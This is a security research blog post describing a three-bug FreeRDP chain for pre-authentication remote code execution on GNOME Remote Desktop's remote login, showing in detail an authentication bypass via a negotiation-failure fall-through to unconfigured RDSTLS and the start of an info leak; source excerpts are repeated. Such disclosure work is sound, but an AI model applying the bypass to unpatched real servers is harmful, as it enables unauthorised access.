Linux Has Screensharing RCEs Too!!

Samuel Page

Linux Has Screensharing RCEs Too!!



Recently, my boss Alfredo reported (among other bugs) a pretty cool pre-auth root RCE in Apple's screensharingd software and I figured I had to step-up my game. Now, I'm not a macOS guy, but I figured surely I can find something just as cool in the Linux ecosystem?!

In this post I'll share how three vulnerabilities we reported in FreeRDP can be used to achieve pre-auth RCE by popping a remote shell with some old school memory corruption shenanigans on a stock Fedora machine.

I'm gonna warn you up front: this is a long one. Don't feel obliged to read all of it, I've tried to section it up nicely so you can jump around if you're not interested in all aspects.

First and foremost I'll touch a little bit on the motivation and goals of the research, followed by some technical background on the target. After that, I do a deep dive on the three vulnerabilities used in this chain, followed by a (somewhat) standalone section on how they're used to achieve our remote shell. After that, I cover remediation, impact and share a few takeaways on model performance on exploiting complex, multi-bug chains.

I'd also like to take the opportunity upfront to thank @akallabeth who is the lead maintainer of FreeRDP and handled all of the security issues we reported super fast.

All the bugs described in this post are fixed in FreeRDP 3.31.0. Affected users of FreeRDP include Gnome Remote Desktop and KDE KRdp. These are not enabled by default on common distributions; only people who use it should be affected. See the Reachability & Remediation section for more details.

Contents

From Idea To Remote Shell

So, when it comes to screen sharing on Linux, what are our options? Unsurprisingly, quite varied! GNOME and KDE both distribute their own first-party solutions (GNOME Remote Desktop and KRdp) and there are also third party ones like TigerVNC.

Already we have two important acronyms flying around: VNC and RDP. To grossly oversimplify: VNC (Virtual Network Computing) is the older, simpler approach while RDP (Remote Desktop Protocol) is a proprietary, feature-rich approach designed by Microsoft.

Many of the opensource screen sharing solutions that use RDP, such as the GNOME & KDE ones mentioned above, use FreeRDP: an awesome, free & opensource RDP implementation.

For this particular bit of research, I focused on GNOME Remote Desktop & FreeRDP. This is the server-side attack surface; so seeing what an unauthenticated client can access remotely. Our internal automated pipeline surfaced and validated several vulnerabilities while auditing the latest (at the time) release of FreeRDP (3.30.0)[1], however no single bug yielded our sought after RCE (if only things were so simple!).

So, I had to get my hands dirty (and more so than I initially expected), for while the models were great at surfacing discrete vulnerabilities they struggled when it came to the (very) long horizon task of trying to chain these together and develop a working exploit.

However, after several "Excellent insight!"'s and "You're absolutely right."'s, a few usage resets and safety refusals, we landed at the finish line:

  1. It's worth highlighting, at the time of reporting, both GHSA-r7jx-j9h7-j4xj & GHSA-9jcm-x588-gh26 were already mitigated one way or another in master, but their security relevance wasn't reported.

Diving Into The Weeds

In this section I'll provide a bit of background on our target setup: GNOME Remote Desktop and its Remote Login mode. After that, I'll do a deep dive on each of the three bugs followed by how they're chained together to achieve RCE (and touch on what comes after!).

If you'd like the follow along, the analysis from this section are based on these branches:

Some Background

Before we get into the fun stuff, let's get our homework out of the way and quickly understand how GNOME Remote Desktop and FreeRDP work together, as well as how the Remote Login feature is supposed to work. Let's start with the docs:

GNOME Remote Desktop is the remote desktop server of the GNOME project. It supports operating as a remote assistance remote desktop server, as a single user headless remote desktop server, and as a headless remote login remote desktop server. (gnome-remote-desktop/README.md)

Okay, as we mentioned upfront, this chain targets the headless remote login surface:

GNOME Remote Desktop supports integrating with the GNOME Display Manager (GDM) to achieve remote login functionality. This feature is only available via the RDP protocol. It works by the remote user first authenticating via a system wide password, which gives access to the graphical login screen, where they can login using their user specific credentials. (gnome-remote-desktop/README.md)

Essentially an administrator can setup a machine for remote login, via GRD, by enabling it and configuring a TLS certificate/key pair and the system-wide credential for authentication. A user must then first connect remotely using the system-wide GRD credential and then via their own user specific credentials on the graphical login, like you would locally.

So How Does Remote Login Work?

Now we understand what GRD's remote login does at a (very) high level, let's dig into some of the implementation specifics and then the boundaries between GRD & FreeRDP.

GRD runs a single binary (gnome-remote-desktop-daemon) launched in different runtime modes selected by a command-line flag and defined by GrdRuntimeMode (src/grd-enums.h:41-47):

  • GRD_RUNTIME_MODE_SCREEN_SHARE & GRD_RUNTIME_MODE_HEADLESS are used by GRD's other operating modes (so not remote login): remote assistance and single user headless mode, respectively.

  • GRD_RUNTIME_MODE_SYSTEM (--system): runs as a machine-wide system service account, this is the remote login network listener. It handles initial admission, before handing over to, you guessed it, the handover mode below.

  • GRD_RUNTIME_MODE_HANDOVER (--handover): a per-admitted-connection instance that runs under a throwaway gdm-greeter-N account. Serves the actual RDP session to the client.

End-to-end, the remote login connect process is a tad complicated, so I'm going to rely on this (not perfect, very simplified) diagram to do the heavy lifting:

Essentially the system daemon is responsible for listening for incoming remote login connections on (default) port :3389 and authenticating the remote login credentials.

After that, it communicates with GDM to setup a throwaway greeter session which runs as a throwaway greeter account (gdm-greeter-N); essentially a temporary context to handle the next stage of the authentication: the login screen for the specific user to authenticate.

The handover daemon runs within this greeter session, as the greeter account. For the client to access this greeter session, it is provided a one-time credential. After receiving this, the client then reconnects and uses it to authenticate directly with the handover daemon.

The handover daemon is then responsible for serving the actual RDP session: login screen, input, and all the virtual channels. Notably at this point the client has authenticated via the system-wide remote login credential but NOT as a specific user; however from an attacker perspective, the handover daemon exposes a larger attack surface than the system daemon.

Where Does FreeRDP Come In?

So we've dug a little deeper into how GRD's Remote Login works, but we haven't spoken much about FreeRDP yet, which is where the actual bugs lie!

GRD makes use of shared libraries provided by FreeRDP. Broadly speaking, beyond just "the RDP stuff", these handle the low level networking details surrounding that including the framing, transport selection, TLS, connection state machine etc. etc.

GRD communicates with FreeRDP via a couple of different mechanisms:

  • Exported functions, such as settings configuration via freerdp_settings_*() API

  • Exported structures, some of which take callbacks, allowing FreeRDP to call into GRD

  • Event loops, exposed by FreeRDP via waitable event handles

Bug 1: Authentication Bypass

Alright, with our homework out of the way let's get stuck into this chain! As I alluded to earlier, our first barrier is the remote login's system daemon: we need to authenticate via the system-wide credentials before we get to the richer attack surface of the handover daemon.

Or do we? During the client's initial X.224 Connection Request to the system daemon, it includes a RDP_NEG_REQ structure with the client's supported security protocols, requestedProtocols. The server then intersects that with its own enabled protocols.

If there is no intersection, the server is meant to return a TYPE_RDP_NEG_FAILURE with a failure code and the connection is over. However that's not quite what happens:

// libfreerdp/core/connection.c
BOOL rdp_server_accept_nego(rdpRdp* rdp, wStream* s)
{
	UINT32 SelectedProtocol = 0;
// SNIP
	else
	{
		/*
		 * when here client and server aren't compatible, we select the right
		 * error message to return to the client in the nego failure packet
		 */
[1]		SelectedProtocol = PROTOCOL_FAILED_NEGO;

		if (settings->RdpSecurity)
		{
			WLog_ERR(TAG, "server supports only Standard RDP Security");
			SelectedProtocol |= SSL_NOT_ALLOWED_BY_SERVER;
		}
		else
		{
			if (settings->NlaSecurity && !settings->TlsSecurity)
			{
				WLog_WARN(TAG, "server supports only NLA Security");
[2]				SelectedProtocol |= HYBRID_REQUIRED_BY_SERVER;
			}
			else
			{
				WLog_WARN(TAG, "server supports only a SSL based Security (TLS or NLA)");
				SelectedProtocol |= SSL_REQUIRED_BY_SERVER;
			}
		}

		WLog_ERR(TAG, "Protocol security negotiation failure"

// libfreerdp/core/connection.c
BOOL rdp_server_accept_nego(rdpRdp* rdp, wStream* s)
{
	UINT32 SelectedProtocol = 0;
// SNIP
	else
	{
		/*
		 * when here client and server aren't compatible, we select the right
		 * error message to return to the client in the nego failure packet
		 */
[1]		SelectedProtocol = PROTOCOL_FAILED_NEGO;

		if (settings->RdpSecurity)
		{
			WLog_ERR(TAG, "server supports only Standard RDP Security");
			SelectedProtocol |= SSL_NOT_ALLOWED_BY_SERVER;
		}
		else
		{
			if (settings->NlaSecurity && !settings->TlsSecurity)
			{
				WLog_WARN(TAG, "server supports only NLA Security");
[2]				SelectedProtocol |= HYBRID_REQUIRED_BY_SERVER;
			}
			else
			{
				WLog_WARN(TAG, "server supports only a SSL based Security (TLS or NLA)");
				SelectedProtocol |= SSL_REQUIRED_BY_SERVER;
			}
		}

		WLog_ERR(TAG, "Protocol security negotiation failure"

// libfreerdp/core/connection.c
BOOL rdp_server_accept_nego(rdpRdp* rdp, wStream* s)
{
	UINT32 SelectedProtocol = 0;
// SNIP
	else
	{
		/*
		 * when here client and server aren't compatible, we select the right
		 * error message to return to the client in the nego failure packet
		 */
[1]		SelectedProtocol = PROTOCOL_FAILED_NEGO;

		if (settings->RdpSecurity)
		{
			WLog_ERR(TAG, "server supports only Standard RDP Security");
			SelectedProtocol |= SSL_NOT_ALLOWED_BY_SERVER;
		}
		else
		{
			if (settings->NlaSecurity && !settings->TlsSecurity)
			{
				WLog_WARN(TAG, "server supports only NLA Security");
[2]				SelectedProtocol |= HYBRID_REQUIRED_BY_SERVER;
			}
			else
			{
				WLog_WARN(TAG, "server supports only a SSL based Security (TLS or NLA)");
				SelectedProtocol |= SSL_REQUIRED_BY_SERVER;
			}
		}

		WLog_ERR(TAG, "Protocol security negotiation failure"

In the above snippet, we can see the failure code, PROTOCOL_FAILED_NEGO, is packed into SelectedProtocol [1]. However, notably, for servers that only use settings->NlaSecurity (default in GRD), HYBRID_REQUIRED_BY_SERVER is also packed into the same field [2].

Shortly after this, in the same function, SelectedProtocol's state is acted on:

// libfreerdp/core/connection.c
	// just does nego->SelectedProtocol = SelectedProtocol
	if (!nego_set_selected_protocol(nego, SelectedProtocol))
		return FALSE;

[1]	if (!nego_send_negotiation_response(nego))
[2]		return FALSE;

	// just fetches nego->SelectedProtocol again; has not been modified 
	SelectedProtocol = nego_get_selected_protocol(nego);
	status = FALSE;

	if (freerdp_settings_get_bool(rdp->settings, FreeRDP_VmConnectMode) &&
	    SelectedProtocol != PROTOCOL_RDP)
		/* When behind a Hyper-V proxy, security != RDP is handled by the host. */
		status = TRUE;
[3]	else if (SelectedProtocol & PROTOCOL_RDSTLS)
		status = transport_accept_rdstls(rdp->transport);
	else if (SelectedProtocol & PROTOCOL_HYBRID)
		status = transport_accept_nla(rdp->transport);
// ...
	if (!status)
		return FALSE;

	return transport_set_blocking_mode(rdp->transport, FALSE

// libfreerdp/core/connection.c
	// just does nego->SelectedProtocol = SelectedProtocol
	if (!nego_set_selected_protocol(nego, SelectedProtocol))
		return FALSE;

[1]	if (!nego_send_negotiation_response(nego))
[2]		return FALSE;

	// just fetches nego->SelectedProtocol again; has not been modified 
	SelectedProtocol = nego_get_selected_protocol(nego);
	status = FALSE;

	if (freerdp_settings_get_bool(rdp->settings, FreeRDP_VmConnectMode) &&
	    SelectedProtocol != PROTOCOL_RDP)
		/* When behind a Hyper-V proxy, security != RDP is handled by the host. */
		status = TRUE;
[3]	else if (SelectedProtocol & PROTOCOL_RDSTLS)
		status = transport_accept_rdstls(rdp->transport);
	else if (SelectedProtocol & PROTOCOL_HYBRID)
		status = transport_accept_nla(rdp->transport);
// ...
	if (!status)
		return FALSE;

	return transport_set_blocking_mode(rdp->transport, FALSE

// libfreerdp/core/connection.c
	// just does nego->SelectedProtocol = SelectedProtocol
	if (!nego_set_selected_protocol(nego, SelectedProtocol))
		return FALSE;

[1]	if (!nego_send_negotiation_response(nego))
[2]		return FALSE;

	// just fetches nego->SelectedProtocol again; has not been modified 
	SelectedProtocol = nego_get_selected_protocol(nego);
	status = FALSE;

	if (freerdp_settings_get_bool(rdp->settings, FreeRDP_VmConnectMode) &&
	    SelectedProtocol != PROTOCOL_RDP)
		/* When behind a Hyper-V proxy, security != RDP is handled by the host. */
		status = TRUE;
[3]	else if (SelectedProtocol & PROTOCOL_RDSTLS)
		status = transport_accept_rdstls(rdp->transport);
	else if (SelectedProtocol & PROTOCOL_HYBRID)
		status = transport_accept_nla(rdp->transport);
// ...
	if (!status)
		return FALSE;

	return transport_set_blocking_mode(rdp->transport, FALSE

nego_send_negotiation_response(nego) [1] checks for SelectedProtocol & PROTOCOL_FAILED_NEGO and sends a failure response to the client. However, it only returns [2] from rdp_server_accept_nego() early if some error occurs, otherwise it carries on.

Carries on where, you ask? Onto the transport acceptance path! At this point our SelectedProtocol has not been modified and still contains PROTOCOL_FAILED_NEGO | HYBRID_REQUIRED_BY_SERVER. Let's get some defs:

// libfreerdp/core/nego.h
#define PROTOCOL_RDSTLS       0x00000004
#define PROTOCOL_HYBRID       0x00000002
#define PROTOCOL_SSL          0x00000001
#define PROTOCOL_FAILED_NEGO 0x80000000 /* only used internally, not on the wire */

enum RDP_NEG_FAILURE_FAILURECODES
{
	SSL_REQUIRED_BY_SERVER    = 0x00000001,
	SSL_NOT_ALLOWED_BY_SERVER = 0x00000002,
	SSL_CERT_NOT_ON_SERVER    = 0x00000003,
	INCONSISTENT_FLAGS        = 0x00000004,
	HYBRID_REQUIRED_BY_SERVER = 0x00000005,
	SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 0x00000006

// libfreerdp/core/nego.h
#define PROTOCOL_RDSTLS       0x00000004
#define PROTOCOL_HYBRID       0x00000002
#define PROTOCOL_SSL          0x00000001
#define PROTOCOL_FAILED_NEGO 0x80000000 /* only used internally, not on the wire */

enum RDP_NEG_FAILURE_FAILURECODES
{
	SSL_REQUIRED_BY_SERVER    = 0x00000001,
	SSL_NOT_ALLOWED_BY_SERVER = 0x00000002,
	SSL_CERT_NOT_ON_SERVER    = 0x00000003,
	INCONSISTENT_FLAGS        = 0x00000004,
	HYBRID_REQUIRED_BY_SERVER = 0x00000005,
	SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 0x00000006

// libfreerdp/core/nego.h
#define PROTOCOL_RDSTLS       0x00000004
#define PROTOCOL_HYBRID       0x00000002
#define PROTOCOL_SSL          0x00000001
#define PROTOCOL_FAILED_NEGO 0x80000000 /* only used internally, not on the wire */

enum RDP_NEG_FAILURE_FAILURECODES
{
	SSL_REQUIRED_BY_SERVER    = 0x00000001,
	SSL_NOT_ALLOWED_BY_SERVER = 0x00000002,
	SSL_CERT_NOT_ON_SERVER    = 0x00000003,
	INCONSISTENT_FLAGS        = 0x00000004,
	HYBRID_REQUIRED_BY_SERVER = 0x00000005,
	SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER = 0x00000006

Currently our SelectedProtocol == 0x80000005. So when we fall through to the PROTOCOL_RDSTLS comparison at [3] we pass as 0x80000005 & 0x4 != 0, taking us into transport_accept_rdstls(rdp->transport).

So far this doesn't sound particularly interesting, sure, we're about to have our RDSTLS transport accepted without actually specifying it, but once the transport is setup we still need to authenticate with the system daemon using the system-wide credentials... right?

Well, the system-wide credential is supposed to be checked via transport_accept_nla(), but due to the missing failure return path, we've fallen through to transport_accept_rdstls() instead, which is meant to check something else entirely.

However, it looks like we still need to pass whatever authentication RDSTLS requires...

On transport_accept_rdstls()

So, with that in mind, how DOES this function handle authentication?

// libfreerdp/core/transport.c
BOOL transport_accept_rdstls(rdpTransport* transport)
{
	BOOL rc = FALSE;
	rdpRdstls* rdstls = nullptr;
	rdpContext* context = nullptr;

	WINPR_ASSERT(transport);

	context = transport_get_context(transport);
	WINPR_ASSERT(context);

[1]	if (!IFCALLRESULT(FALSE, transport->io.TLSAccept, transport))
		goto fail;

[2]	rdstls = rdstls_new(context, transport);
	if (!rdstls)
		goto fail;

	transport_set_rdstls_mode(transport, TRUE);

[3]	if (rdstls_authenticate(rdstls) < 0)
	{
		WLog_Print(transport->log, WLOG_ERROR, "client authentication failure");
		freerdp_tls_set_alert_code(transport->tls, TLS_ALERT_LEVEL_FATAL,
		                           TLS_ALERT_DESCRIPTION_ACCESS_DENIED);
		freerdp_tls_send_alert(transport->tls);
		goto fail;
	}

	transport_set_rdstls_mode(transport, FALSE);
	rc = TRUE;
fail:
	rdstls_free(rdstls);
	return rc

// libfreerdp/core/transport.c
BOOL transport_accept_rdstls(rdpTransport* transport)
{
	BOOL rc = FALSE;
	rdpRdstls* rdstls = nullptr;
	rdpContext* context = nullptr;

	WINPR_ASSERT(transport);

	context = transport_get_context(transport);
	WINPR_ASSERT(context);

[1]	if (!IFCALLRESULT(FALSE, transport->io.TLSAccept, transport))
		goto fail;

[2]	rdstls = rdstls_new(context, transport);
	if (!rdstls)
		goto fail;

	transport_set_rdstls_mode(transport, TRUE);

[3]	if (rdstls_authenticate(rdstls) < 0)
	{
		WLog_Print(transport->log, WLOG_ERROR, "client authentication failure");
		freerdp_tls_set_alert_code(transport->tls, TLS_ALERT_LEVEL_FATAL,
		                           TLS_ALERT_DESCRIPTION_ACCESS_DENIED);
		freerdp_tls_send_alert(transport->tls);
		goto fail;
	}

	transport_set_rdstls_mode(transport, FALSE);
	rc = TRUE;
fail:
	rdstls_free(rdstls);
	return rc

// libfreerdp/core/transport.c
BOOL transport_accept_rdstls(rdpTransport* transport)
{
	BOOL rc = FALSE;
	rdpRdstls* rdstls = nullptr;
	rdpContext* context = nullptr;

	WINPR_ASSERT(transport);

	context = transport_get_context(transport);
	WINPR_ASSERT(context);

[1]	if (!IFCALLRESULT(FALSE, transport->io.TLSAccept, transport))
		goto fail;

[2]	rdstls = rdstls_new(context, transport);
	if (!rdstls)
		goto fail;

	transport_set_rdstls_mode(transport, TRUE);

[3]	if (rdstls_authenticate(rdstls) < 0)
	{
		WLog_Print(transport->log, WLOG_ERROR, "client authentication failure");
		freerdp_tls_set_alert_code(transport->tls, TLS_ALERT_LEVEL_FATAL,
		                           TLS_ALERT_DESCRIPTION_ACCESS_DENIED);
		freerdp_tls_send_alert(transport->tls);
		goto fail;
	}

	transport_set_rdstls_mode(transport, FALSE);
	rc = TRUE;
fail:
	rdstls_free(rdstls);
	return rc

Okay, so a few things are happening here. First and foremost it accepts the TLS connection [1]; the earlier rejection response did not close the socket. So if the client ignores the prior rejection, it continues the TLS handshake as if nothing happened.

But that's not all this function does! It sets up a new RDSTLS state machine [2] for handling the upcoming authentication, however it never checks the server actually enabled RDSTLS (by consulting settings->RdstlsSecurity). And it isn't: it is off by default in FreeRDP, and GRD only turns it on in HANDOVER mode (for the one-time credential).

So what does this mean for us? Typically RDSTLS authentication [3] uses several fields stored in rdpSettings, configured by the server, including Username and Password. However, if the server leaves these fields empty, the RDSTLS comparison functions always return true:

// libfreerdp/core/rdstls.c
static BOOL rdstls_cmp_data(wLog* log, const char* field, const BYTE* serverData,
                            const UINT32 serverDataLength, const BYTE* clientData,
                            const UINT16 clientDataLength)
{
	if (serverDataLength > 0)
	{
		// SKIPPED
	}

	return TRUE;
}


static BOOL rdstls_cmp_str(wLog* log, const char* field, const char* serverStr,
                           const char* clientStr)
{
	if (!utils_str_is_empty(serverStr))
	{
		// SKIPPED
	}

	return TRUE

// libfreerdp/core/rdstls.c
static BOOL rdstls_cmp_data(wLog* log, const char* field, const BYTE* serverData,
                            const UINT32 serverDataLength, const BYTE* clientData,
                            const UINT16 clientDataLength)
{
	if (serverDataLength > 0)
	{
		// SKIPPED
	}

	return TRUE;
}


static BOOL rdstls_cmp_str(wLog* log, const char* field, const char* serverStr,
                           const char* clientStr)
{
	if (!utils_str_is_empty(serverStr))
	{
		// SKIPPED
	}

	return TRUE

// libfreerdp/core/rdstls.c
static BOOL rdstls_cmp_data(wLog* log, const char* field, const BYTE* serverData,
                            const UINT32 serverDataLength, const BYTE* clientData,
                            const UINT16 clientDataLength)
{
	if (serverDataLength > 0)
	{
		// SKIPPED
	}

	return TRUE;
}


static BOOL rdstls_cmp_str(wLog* log, const char* field, const char* serverStr,
                           const char* clientStr)
{
	if (!utils_str_is_empty(serverStr))
	{
		// SKIPPED
	}

	return TRUE

In the system daemon mode, RDSTLS is not enabled and all four rdpSettings fields used by RDSTLS authentication are unset, allowing a client to authenticate with arbitrary values.

Leaving rdp_server_accept_nego()

Okay. We've survived rdp_server_accept_nego() due to the missing failure return case, allowing us to bypass the intended NLA auth and do RDSTLS auth instead - which happens to be completely unconfigured, allowing us to essentially bypass that too.

After, rdp_server_accept_nego() returns back to its parent, peer_recv_callback_internal(), the server-side connection state machine:

// libfreerdp/core/peer.c
static state_run_t peer_recv_callback_internal(WINPR_ATTR_UNUSED rdpTransport* transport,
                                               wStream* s, void* extra)
{
	freerdp_peer* client = (freerdp_peer*)extra;
	rdpSettings* settings = client->context->settings;
	// SNIP
	switch (rdp_get_state(rdp))
	{
		case CONNECTION_STATE_INITIAL:
			// SNIP
		case CONNECTION_STATE_NEGO:
[1]			if (!rdp_server_accept_nego(rdp, s))
			{
				WLog_ERR(TAG, "%s - rdp_server_accept_nego() fail", rdp_get_state_string(rdp));
			}
			else
			{
[2]				const UINT32 SelectedProtocol = nego_get_selected_protocol(rdp->nego);

[3]				settings->RdstlsSecurity = (SelectedProtocol & PROTOCOL_RDSTLS) != 0;
				settings->NlaSecurity = (SelectedProtocol & PROTOCOL_HYBRID) != 0;
				settings->TlsSecurity = (SelectedProtocol & PROTOCOL_SSL) != 0;
				settings->RdpSecurity = (SelectedProtocol == PROTOCOL_RDP) != 0

// libfreerdp/core/peer.c
static state_run_t peer_recv_callback_internal(WINPR_ATTR_UNUSED rdpTransport* transport,
                                               wStream* s, void* extra)
{
	freerdp_peer* client = (freerdp_peer*)extra;
	rdpSettings* settings = client->context->settings;
	// SNIP
	switch (rdp_get_state(rdp))
	{
		case CONNECTION_STATE_INITIAL:
			// SNIP
		case CONNECTION_STATE_NEGO:
[1]			if (!rdp_server_accept_nego(rdp, s))
			{
				WLog_ERR(TAG, "%s - rdp_server_accept_nego() fail", rdp_get_state_string(rdp));
			}
			else
			{
[2]				const UINT32 SelectedProtocol = nego_get_selected_protocol(rdp->nego);

[3]				settings->RdstlsSecurity = (SelectedProtocol & PROTOCOL_RDSTLS) != 0;
				settings->NlaSecurity = (SelectedProtocol & PROTOCOL_HYBRID) != 0;
				settings->TlsSecurity = (SelectedProtocol & PROTOCOL_SSL) != 0;
				settings->RdpSecurity = (SelectedProtocol == PROTOCOL_RDP) != 0

// libfreerdp/core/peer.c
static state_run_t peer_recv_callback_internal(WINPR_ATTR_UNUSED rdpTransport* transport,
                                               wStream* s, void* extra)
{
	freerdp_peer* client = (freerdp_peer*)extra;
	rdpSettings* settings = client->context->settings;
	// SNIP
	switch (rdp_get_state(rdp))
	{
		case CONNECTION_STATE_INITIAL:
			// SNIP
		case CONNECTION_STATE_NEGO:
[1]			if (!rdp_server_accept_nego(rdp, s))
			{
				WLog_ERR(TAG, "%s - rdp_server_accept_nego() fail", rdp_get_state_string(rdp));
			}
			else
			{
[2]				const UINT32 SelectedProtocol = nego_get_selected_protocol(rdp->nego);

[3]				settings->RdstlsSecurity = (SelectedProtocol & PROTOCOL_RDSTLS) != 0;
				settings->NlaSecurity = (SelectedProtocol & PROTOCOL_HYBRID) != 0;
				settings->TlsSecurity = (SelectedProtocol & PROTOCOL_SSL) != 0;
				settings->RdpSecurity = (SelectedProtocol == PROTOCOL_RDP) != 0

Noticeably after rdp_server_accept_nego() returns [1], it updates the client's settings [3] based on our totally-not-quite-right SelectedProtocol value [2]. At this point it's still 0x80000005, so if we remember our defs from earlier this essentially :

  • Flips settings->RdstlsSecurity from false to true

  • Flips settings->NlaSecurity from true to false

  • Flips settings->TlsSecurity from false to true

We're almost there, I promise. After this, the client's authenticated state is determined by this branch [1] taken due to our SelectedProtocol value [2]:

// abridged
				client->authenticated = FALSE;
[1]				if (SelectedProtocol & PROTOCOL_HYBRID) // miss this
				{
					// SNIP, incl sspi_CopyAuthIdentity guard
						client->authenticated =
						    IFCALLRESULT(TRUE, client->Logon, client, &client->identity, TRUE);

				}
[2]				else // we hit this
				{
					client->authenticated =
					    IFCALLRESULT(TRUE, client->Logon, client, &client->identity, FALSE

// abridged
				client->authenticated = FALSE;
[1]				if (SelectedProtocol & PROTOCOL_HYBRID) // miss this
				{
					// SNIP, incl sspi_CopyAuthIdentity guard
						client->authenticated =
						    IFCALLRESULT(TRUE, client->Logon, client, &client->identity, TRUE);

				}
[2]				else // we hit this
				{
					client->authenticated =
					    IFCALLRESULT(TRUE, client->Logon, client, &client->identity, FALSE

// abridged
				client->authenticated = FALSE;
[1]				if (SelectedProtocol & PROTOCOL_HYBRID) // miss this
				{
					// SNIP, incl sspi_CopyAuthIdentity guard
						client->authenticated =
						    IFCALLRESULT(TRUE, client->Logon, client, &client->identity, TRUE);

				}
[2]				else // we hit this
				{
					client->authenticated =
					    IFCALLRESULT(TRUE, client->Logon, client, &client->identity, FALSE

This is one of the callbacks I mentioned, for interacting with GRD! Essentially IFCALLRESULT(_default_return, _cb, ...) is a macro that calls _cb(...) or returns _default_return if _cb is unset. FreeRDP defines the callback here:

// include/freerdp/peer.h
	/** @brief Callback after the initial RDP authentication (NLA) succeeded or anonymous tunnel was
	 * established (RDP, TLS, ...)
	 *
	 *  @param peer A pointer to a peer context to work on
	 *  @param identity A pointer to the identity of the peer
	 *  @param automatic \b TRUE in case the connection is already authenticated, \b FALSE in case
	 * of \b RDP, \b TLS or similar anonymous tunnels
	 *
	 *  @return \b TRUE if the connection is allowed, \b FALSE if denied. Defaults to \b TRUE if the
	 * callback is unused.
	 */
	typedef BOOL (*psPeerLogon)(freerdp_peer* peer, const SEC_WINNT_AUTH_IDENTITY* identity,
	                            BOOL automatic

// include/freerdp/peer.h
	/** @brief Callback after the initial RDP authentication (NLA) succeeded or anonymous tunnel was
	 * established (RDP, TLS, ...)
	 *
	 *  @param peer A pointer to a peer context to work on
	 *  @param identity A pointer to the identity of the peer
	 *  @param automatic \b TRUE in case the connection is already authenticated, \b FALSE in case
	 * of \b RDP, \b TLS or similar anonymous tunnels
	 *
	 *  @return \b TRUE if the connection is allowed, \b FALSE if denied. Defaults to \b TRUE if the
	 * callback is unused.
	 */
	typedef BOOL (*psPeerLogon)(freerdp_peer* peer, const SEC_WINNT_AUTH_IDENTITY* identity,
	                            BOOL automatic

// include/freerdp/peer.h
	/** @brief Callback after the initial RDP authentication (NLA) succeeded or anonymous tunnel was
	 * established (RDP, TLS, ...)
	 *
	 *  @param peer A pointer to a peer context to work on
	 *  @param identity A pointer to the identity of the peer
	 *  @param automatic \b TRUE in case the connection is already authenticated, \b FALSE in case
	 * of \b RDP, \b TLS or similar anonymous tunnels
	 *
	 *  @return \b TRUE if the connection is allowed, \b FALSE if denied. Defaults to \b TRUE if the
	 * callback is unused.
	 */
	typedef BOOL (*psPeerLogon)(freerdp_peer* peer, const SEC_WINNT_AUTH_IDENTITY* identity,
	                            BOOL automatic

Concerningly, FreeRDP sets automatic=FALSE here, which means the connection isn't already authenticated as RDSTLS is classified as an anonymous tunnel.

However the GRD implementation for this callback does not use automatic and for the system, remote login case authenticates our client:

// src/grd-session-rdp.c
static BOOL
rdp_peer_logon (freerdp_peer                  *peer,
                const SEC_WINNT_AUTH_IDENTITY *identity,
                BOOL                           automatic)
{
  // SNIP
  if (is_using_remote_login (session_rdp))
      return TRUE

// src/grd-session-rdp.c
static BOOL
rdp_peer_logon (freerdp_peer                  *peer,
                const SEC_WINNT_AUTH_IDENTITY *identity,
                BOOL                           automatic)
{
  // SNIP
  if (is_using_remote_login (session_rdp))
      return TRUE

// src/grd-session-rdp.c
static BOOL
rdp_peer_logon (freerdp_peer                  *peer,
                const SEC_WINNT_AUTH_IDENTITY *identity,
                BOOL                           automatic)
{
  // SNIP
  if (is_using_remote_login (session_rdp))
      return TRUE

Hurrah, we're finally authenticated, having bypassed the remote login credentials!

What We Have Now

Yeah, I can't lie, that was a lot of words... I apologise (and if you skipped to this point, I don't even blame you). Let's sum up where we are:

  • The remote login system daemon expects to authenticate the client over NLA using the system-wide credentials.

  • However, due to a missing return during protocol negotiation failure, a client can instead authenticate over RDSTLS, which is unconfigured, allowing blanket authentication.

  • The system daemon now considers us an authenticated client and continues with the normal flow of speaking to GDM, setting up a greeter session, throwaway account AND providing us a one-time credential to authenticate with the handover daemon.

Bug 2: The Info Leak

Unfortunately (and much to my initial distress) one critical authentication bypass is not enough to crack GRD remote login - we still have to defeat the handover demon.

Currently, thanks to our looted one-time credential, we are now authenticated with the handover daemon. Unlike the network-facing system daemon, this is a per-connection daemon that runs in a greeter session as a throwaway gdm-greeter-N account.

RDP Surface Primer

So what does this net us? More attack surface! This new surface is exposed over the RDP session we now have (for the pesky login screen), which provides channels for interacting with all manner of things: audio, the clipboard, telemetry, display control etc. etc.

For yet another gross oversimplification: RDP channels are separate, virtual data streams within an RDP session, used for handling specific kinds of traffic. They essentially carry channel-specific messages as PDUs (Protocol Data Unit) between client & server.

One of these channels is RDPGFX (also known as Remote Desktop Protocol: Graphics Pipeline Extension), which handles remote desktop graphics. One of the messages sent over this channel is ResetGraphics, which is sent by the server to inform the client to resize its canvas and adjust to display changes[2]. Let's take a look at the code!

ResetGraphics

GRD is responsible for deciding when to send out a ResetGraphics message, and does so in the aptly named maybe_reset_graphics() function:

// src/grd-rdp-renderer.c
static void
maybe_reset_graphics (GrdRdpRenderer *renderer)
{
// SNIP
[1]  if (!renderer->pending_gfx_graphics_reset)
    return;
// SNIP
[2]  grd_rdp_dvc_graphics_pipeline_reset_graphics (graphics_pipeline,
                                                desktop_width, desktop_height,
                                                monitor_defs, n_monitors);
  renderer->pending_gfx_graphics_reset = FALSE

// src/grd-rdp-renderer.c
static void
maybe_reset_graphics (GrdRdpRenderer *renderer)
{
// SNIP
[1]  if (!renderer->pending_gfx_graphics_reset)
    return;
// SNIP
[2]  grd_rdp_dvc_graphics_pipeline_reset_graphics (graphics_pipeline,
                                                desktop_width, desktop_height,
                                                monitor_defs, n_monitors);
  renderer->pending_gfx_graphics_reset = FALSE

// src/grd-rdp-renderer.c
static void
maybe_reset_graphics (GrdRdpRenderer *renderer)
{
// SNIP
[1]  if (!renderer->pending_gfx_graphics_reset)
    return;
// SNIP
[2]  grd_rdp_dvc_graphics_pipeline_reset_graphics (graphics_pipeline,
                                                desktop_width, desktop_height,
                                                monitor_defs, n_monitors);
  renderer->pending_gfx_graphics_reset = FALSE

The maybe depends on the value of the pending_gfx_graphics_reset flag [1]. This flag is set in two scenarios: during initial display creation OR a monitor layout change. The former is a once-per-session situation, but the latter case can be triggered on demand.

After the decision is made to reset the graphics, GRD initialises the PDU and sends it on down to FreeRDP [2] which is responsible for serialising it and sending it off:

